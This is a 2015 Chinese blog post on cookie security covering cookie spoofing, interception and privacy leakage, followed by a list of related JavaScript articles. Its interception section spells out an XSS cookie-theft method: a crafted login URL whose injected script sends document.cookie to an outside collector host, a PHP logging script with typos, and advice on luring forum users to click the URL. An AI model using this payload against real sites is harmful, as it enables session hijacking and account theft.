深入分析Cookie的安全性问题


Posted in Javascript onMarch 01, 2015

Cookie的目的是为用户带来方便,为网站带来增值,一般情况下不会造成严重的安全威胁。Cookie文件不能作为代码执行,也不会传送病毒,它为用户所专有并只能由创建它的服务器来读取。另外,浏览器一般只允许存放300个Cookie,每个站点最多存放20个Cookie,每个Cookie的大小限制为4KB,因此,Cookie不会塞满硬盘,更不会被用作"拒绝服务"攻击手段。

但是,Cookie作为用户身份的替代,其安全性有时决定了整个系统的安全性,Cookie的安全性问题不容忽视。

(1)Cookie欺骗 Cookie记录了用户的帐户ID、密码之类的信息,通常使用MD5方法加密后在网上传递。经过加密处理后的信息即使被网络上一些别有用心的人截获也看不懂。然而,现在存在的问题是,截获Cookie的人不需要知道这些字符串的含义,只要把别人的Cookie向服务器提交,并且能够通过验证,就可以冒充受害人的身份登陆网站,这种行为叫做Cookie欺骗。
非法用户通过Cookie欺骗获得相应的加密密钥,从而访问合法用户的所有个性化信息,包括用户的E-mail甚至帐户信息,对个人信息造成严重危害。
(2)Cookie截获
Cookie以纯文本的形式在浏览器和服务器之间传送,很容易被他人非法截获和利用。任何可以截获Web通信的人都可以读取Cookie。
Cookie被非法用户截获后,然后在其有效期内重放,则此非法用户将享有合法用户的权益。例如,对于在线阅读,非法用户可以不支付费用即可享受在线阅读电子杂志。

Cookie截获的手段有以下一些:

(1)用编程手段截获Cookie。下面分析其手法,该方法分两步完成。

步骤一:定位需要收集Cookie的网站,对其进行分析并构造URL。 首先打开要收集Cookie的网站,这里假设是http://www.XXX.net,登陆网站输入用户名"<Al>"(不含引号),对数据进行分析抓包,得到如下代码:
http://www.XXX.net/tXl/login/login.pl?username=<Al>&passwd=&ok.X=28&ok.y=6;
将其中"<Al>"更换为:
"<script>alert(document.cookie)</script>"再试,如果执行成功,就开始构造URL:
http://www.XXX.net/tXl/login/login.pl?username=<script>window.open ("http://www.cbifamily.org/cbi.php?"%2bdocument.cookie)</script>&passwd=&ok.X=28&ok.y=6.
其中http://www.cbifamily.org/cbi.php是用户能够控制的某台主机上的一个脚本。需要注意的是"%2b"为符号"+"的URL编码,因为"+"将被作为空格处理。该URL即可在论坛中发布,诱使别人点击。

步骤二:编制收集Cookie的PHP脚本,并将其放到用户可以控制的网站上,当不知情者点击了构造的URL后可以执行该PHP代码。该脚本的具体内容如下:

<?php 

$info=getenv("OUERY_STRING"); 

if($info){  

$fp=fopen("info.tXt","a");  

fwrite($fp,!info."\n"); 

fclose($fp);

} 

header("Location:http://www.XXX.net");

?>

将这段代码放到网络里,则能够收集所有人的Cookie。如果一个论坛允许HTML代码或者允许使用Flash标签,就可以利用这些技术收集Cookie的代码放到论坛里,然后给帖子取一个吸引人的主题,写上有趣的内容,很快就可收集到大量的Cookie。在论坛上,有许多人的密码就是被这种方法盗走的。
(2)利用Flash的代码隐患截获Cookie。Flash中有一个getURL()函数。Flash可以利用这个函数自动打开指定的网页,它可能把用户引向一个包含恶意代码的网站。例如,当用户在电脑上欣赏Flash动画时,动画帧里的代码可能已经悄悄地连上网,并打开了一个极小的包含有特殊代码的页面,这个页面可以收集Cookie、也可以做一些其他有害的事情。网站无法禁止Flash的这种作为,因为这是Flash文件的内部功能。
(3)Cookie泄漏网络隐私
Cookie导致网络隐私泄密的主要原因是:!商业利益驱动。随着电子商务的兴起和互联网上巨大商机的出现,一些网站和机构滥用Cookie,未经访问者的许可,利用搜索引擎技术、数据挖掘技术甚至是网络欺骗技术搜集他人的个人资料,达到构建用户数据库、发送广告等营利目的,造成用户个人隐私的泄漏。"Cookie信息传递的开放性。Cookie文件具有特殊的传递流程 和文本特性,在服务器和客户端之间传送未经安全加密的Cook-ie文件,易导致个人信息的泄密。

以上都是个人对于cookie安全性的理解,如有遗漏还请大家能够指正。

Javascript 相关文章推荐
JavaScript实现禁止后退的方法
Dec 27 Javascript
JavaScript 面向对象之命名空间
May 04 Javascript
Javascript 页面模板化很多人没有使用过的方法
Jun 05 Javascript
JQuery实现table行折叠效果以JSON做数据源
May 26 Javascript
Js的Array数组对象详解
Feb 22 Javascript
AngularJS基础 ng-copy 指令实例代码
Aug 01 Javascript
connection reset by peer问题总结及解决方案
Oct 21 Javascript
如何解决vue2.0下IE浏览器白屏问题
Sep 13 Javascript
vue2.0基于vue-cli+element-ui制作树形treeTable
Apr 30 Javascript
浅谈一个webpack构建速度优化误区
Jun 24 Javascript
javascript面向对象三大特征之继承实例详解
Jul 24 Javascript
Angular单元测试之事件触发的实现
Jan 20 Javascript
浅谈JavaScript事件的属性列表
Mar 01 #Javascript
浅析javascript中的DOM
Mar 01 #Javascript
javascript中的正则表达式使用指南
Mar 01 #Javascript
JQuery中使文本框获得焦点的方法实例分析
Feb 28 #Javascript
jQuery实现折线图的方法
Feb 28 #Javascript
js中split和replace的用法实例
Feb 28 #Javascript
jQuery实现菜单感应鼠标滑动动画效果的方法
Feb 28 #Javascript
You might like
PHP @ at 记号的作用示例介绍
2014/10/10 PHP
PHP中对数组的一些常用的增、删、插操作函数总结
2015/11/27 PHP
PDO::errorInfo讲解
2019/01/28 PHP
javascript prototype原型操作笔记
2009/12/07 Javascript
jQuery实现图片与文字描述左右滑动自动切换的方法
2015/07/27 Javascript
使用bootstrap3开发响应式网站
2016/05/12 Javascript
基于JavaScript实现带缩略图的轮播效果
2017/01/12 Javascript
ES6(ECMAScript 6)新特性之模板字符串用法分析
2017/04/01 Javascript
node.js连接MongoDB数据库的2种方法教程
2017/05/17 Javascript
浅谈 vue 中的 watcher
2017/12/04 Javascript
web3.js增加eth.getRawTransactionByHash(txhash)方法步骤
2018/03/15 Javascript
微信小程序数据分析之自定义分析的实现
2018/08/17 Javascript
基于vue实现web端超大数据量表格的卡顿解决
2019/04/02 Javascript
微信小程序使用蓝牙小插件
2019/09/23 Javascript
easyUI 实现的后台分页与前台显示功能示例
2020/06/01 Javascript
浅析 Vue 3.0 的组装式 API(一)
2020/08/31 Javascript
Python内置函数——__import__ 的使用方法
2017/11/24 Python
对pandas replace函数的使用方法小结
2018/05/18 Python
linux安装Python3.4.2的操作方法
2018/09/28 Python
django框架实现一次性上传多个文件功能示例【批量上传】
2019/06/19 Python
Python *args和**kwargs用法实例解析
2020/03/02 Python
python实现最短路径的实例方法
2020/07/19 Python
浅析rem和em和px vh vw和% 移动端长度单位
2016/04/28 HTML / CSS
CSS3打造磨砂玻璃背景效果
2016/09/28 HTML / CSS
html5中JavaScript removeChild 删除所有节点
2014/05/16 HTML / CSS
北美个性化礼品商店:Things Remembered
2018/06/12 全球购物
计算机网络毕业生自荐信
2013/10/01 职场文书
客服工作职责
2013/12/11 职场文书
致长跑运动员广播稿
2014/01/31 职场文书
促销活动总结模板
2014/07/01 职场文书
2015年施工员工作总结范文
2015/04/20 职场文书
团委副书记工作总结
2015/08/14 职场文书
2016教师学习教育法心得体会
2016/01/19 职场文书
ORACLE数据库对long类型字段进行模糊匹配的解决思路
2021/04/07 Oracle
js不常见操作运算符总结
2021/11/20 Javascript
CSS使用Flex和Grid布局实现3D骰子
2022/08/05 HTML / CSS